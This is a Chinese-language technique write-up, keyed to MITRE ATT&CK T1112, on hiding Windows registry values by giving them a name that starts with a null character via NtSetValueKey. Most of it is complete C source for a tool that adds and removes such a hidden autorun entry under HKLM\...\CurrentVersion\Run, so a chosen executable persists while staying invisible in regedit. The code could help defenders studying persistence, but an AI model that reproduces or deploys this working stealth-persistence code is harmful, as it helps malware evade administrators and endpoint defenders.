ATT&CK:https://attack.mitre.org/techniques/T1112/

注册表修改包括隐藏键的操作,在键名前添加空字符,导致win32 的api 读取时忽略。达到部分程序中隐藏的效果。

regedit.exe 使用win32 api读取注册表内容,会忽略以”\0”作为开头的内容,因为”\0”会被识别为字符串的结束符,遇到开头”\0”,会直接当作结束。

使用Native API NtSetValueKey 设置键名,ValueName 使用的是UNICODE_STRING ,可以自行初始化一个UNICODE_STRING,然后在buffer第一个位置加'\0',设置正确的Length,写入注册表,可以被操作系统正确识别读取。

NetSetValueKey位于ntdll.dll 中,通过GetProcAddress获取地址调用。

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

NtSetValueKey(
  IN HANDLE               KeyHandle,
  IN PUNICODE_STRING      ValueName,
  IN ULONG                TitleIndex OPTIONAL,
  IN ULONG                Type,
  IN PVOID                Data,
  IN ULONG                DataSize );

下面的代码可以在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run中创建和删除隐藏的值,效果如下

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/3b3e848a-70f8-46dc-b141-950c211005a4/Untitled.png

只能看到cmd,看不到添加的notepad.exe

#include <stdio.h>
#include "defs.h"

BOOL InitFuncs()
{
	HMODULE hMod = GetModuleHandleA("ntdll.dll");
	if (hMod == NULL)
		return FALSE;

	_RtlInitUnicodeString = (PROC_RtlInitUnicodeString)GetProcAddress(hMod, "RtlInitUnicodeString");
	_NtOpenKey = (PROC_NtOpenKey)GetProcAddress(hMod, "NtOpenKey");
	_NtCreateKey = (PROC_NtCreateKey)GetProcAddress(hMod, "NtCreateKey");
	_NtDeleteKey = (PROC_NtDeleteKey)GetProcAddress(hMod, "NtDeleteKey");
	_NtSetValueKey = (PROC_NtSetValueKey)GetProcAddress(hMod, "NtSetValueKey");
	_NtClose = (PROC_NtClose)GetProcAddress(hMod, "NtClose");
	_NtDeleteValueKey = (PROC_NtDeleteValueKey)GetProcAddress(hMod,"NtDeleteValueKey");

	return TRUE;
}

void OpenRegistryKey(wchar_t KeyPath[], HANDLE* Key)
{
	//HANDLE hKey;
	OBJECT_ATTRIBUTES objAttrs;
	UNICODE_STRING KeyNameUni;
	NTSTATUS status;

	_RtlInitUnicodeString(&KeyNameUni, KeyPath);

	objAttrs = { sizeof(objAttrs),0,&KeyNameUni,OBJ_CASE_INSENSITIVE };

	status = _NtOpenKey(Key, KEY_ALL_ACCESS, &objAttrs);

	if (!NT_SUCCESS(status))
		printf("[!]Open key failed \\n");
}

NTSTATUS __stdcall CreateHiddenValue(HANDLE hKey, wchar_t ValueName[], PVOID Data, ULONG DataSize, ULONG Type)
{
	UNICODE_STRING valueNameUni;
	NTSTATUS status;
	
	int origValueLenth = wcslen(ValueName);
	int bufferSize = origValueLenth * sizeof(wchar_t) + 2 + 2;
	wchar_t* buffer = (wchar_t*)malloc(bufferSize);

	if (buffer == NULL)
		return -1;
	memset(buffer, 0, bufferSize);
	buffer[0] = '\\0';
	buffer = buffer + 1;
	for (int i = 0; i < origValueLenth; ++i) {
		buffer[i] = ValueName[i];
	}
	//init UNICODE VALUE NAME
	valueNameUni.Buffer = buffer;
	valueNameUni.Length = origValueLenth * sizeof(wchar_t); //not including the terminating NULL character
	valueNameUni.MaximumLength = bufferSize * 2; // it doesn't matter

	status = _NtSetValueKey(hKey, &valueNameUni, 0, Type, Data, DataSize);
	return status;
}

BOOL MyDeleteValueKey(HANDLE hKey, wchar_t* Name)
{
	UNICODE_STRING ValueName;
	_RtlInitUnicodeString(&ValueName, Name);
	NTSTATUS Status = _NtDeleteValueKey(hKey, &ValueName);
	if (!NT_SUCCESS(Status)) {
		printf("[!]DeleteValueKey Error:%ul\\n", Status);
		return FALSE;
	}
	printf("[-]DeleteValueKey\\n");
	printf("ValueName:	%ls\\n", Name);
	return TRUE;
}

void addRun(wchar_t* exe_path) {
	NTSTATUS status;
	HANDLE hKey = NULL;
	wchar_t regPath[] = L"\\\\Registry\\\\Machine\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run";
	wchar_t* data = exe_path;
	wchar_t name[] = L"HiddenTest";
	OpenRegistryKey(regPath, &hKey);
	if (hKey == 0)
		printf("open key failed \\n");
	status = CreateHiddenValue(hKey, name, data, wcslen(data) * sizeof(wchar_t), REG_SZ);

	if (NT_SUCCESS(status))
		printf("value created successfully. \\n");
	else
		printf("value create failed. \\n");

}

void removeRun() {
	HANDLE hKey = NULL;
	wchar_t regPath[] = L"\\\\Registry\\\\Machine\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run";
	wchar_t name[] = L"HiddenTest";
	OpenRegistryKey(regPath, &hKey);
	if (hKey == 0)
		printf("[!]open key failed \\n");
	MyDeleteValueKey(hKey, name);
}

int wmain(int argc, wchar_t* argv[], wchar_t* envp[])
{
	if (argc < 2) {
		printf("usage: \\n");
		printf("AddRun.exe add C:\\\\example.exe  \\n");
		printf("AddRun.exe remove  \\n");
		return 0;
	}

	InitFuncs(); //Initialize
	if (!wcscmp(argv[1], L"add") && argc == 3) {
		printf("[+]ADD RUN: %ls \\n", argv[2]);
		addRun(argv[2]);
		return 0;
	}
		

	if (!wcscmp(argv[1], L"remove") && argc == 2) {
		printf("[-]REMOVE RUN \\n");
		removeRun();
		return 0;
	}
		
	return 0;
}
///defs.h

#pragma once
#include <Windows.h>

#define STATUS_BUFFER_OVERFLOW	((NTSTATUS)0x80000005L)
#define NT_SUCCESS(x) ((x)>=0)
#define STATUS_SUCCESS ((NTSTATUS)0)
#define OBJ_CASE_INSENSITIVE 64L

typedef struct _LSA_UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
	ULONG Length;
	HANDLE RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG Attributes;
	PVOID SecurityDescriptor;
	PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES,*POBJECT_ATTRIBUTES;

typedef NTSTATUS(__stdcall *PROC_NtOpenKey)(
	PHANDLE KeyHandle,
	ACCESS_MASK DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes
	);

typedef VOID(__stdcall *PROC_RtlInitUnicodeString)(
	PUNICODE_STRING DestinationString,
	PCWSTR SourceString
	);
typedef NTSTATUS(__stdcall *PROC_NtCreateKey)(
	PHANDLE KeyHandle,
	ACCESS_MASK DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes,
	ULONG TitleIndex,
	PUNICODE_STRING Class,
	ULONG CreateOptions,
	PULONG Disposition
	);
typedef NTSTATUS(__stdcall * PROC_NtDeleteKey)(
	HANDLE KeyHandle
);
typedef NTSTATUS(__stdcall *PROC_NtSetValueKey)(
	HANDLE KeyHandle,
	PUNICODE_STRING ValueName,
	ULONG TitleIndex,
	ULONG Type,
	PVOID Data,
	ULONG DataSize
	);
typedef NTSTATUS(__stdcall *PROC_NtClose)(
	HANDLE Handle
	);

typedef NTSTATUS(__stdcall *PROC_NtDeleteValueKey)
(
	IN HANDLE			KeyHandle,
	IN PUNICODE_STRING	ValueName
	);

PROC_NtDeleteKey _NtDeleteKey;
PROC_NtCreateKey _NtCreateKey;
PROC_NtOpenKey _NtOpenKey;
PROC_NtSetValueKey _NtSetValueKey;
PROC_RtlInitUnicodeString _RtlInitUnicodeString;
PROC_NtClose _NtClose;
PROC_NtDeleteValueKey _NtDeleteValueKey;

Reference:

https://github.com/ewhitehats/InvisiblePersistence/blob/master/InvisibleRegValues_Whitepaper.pdf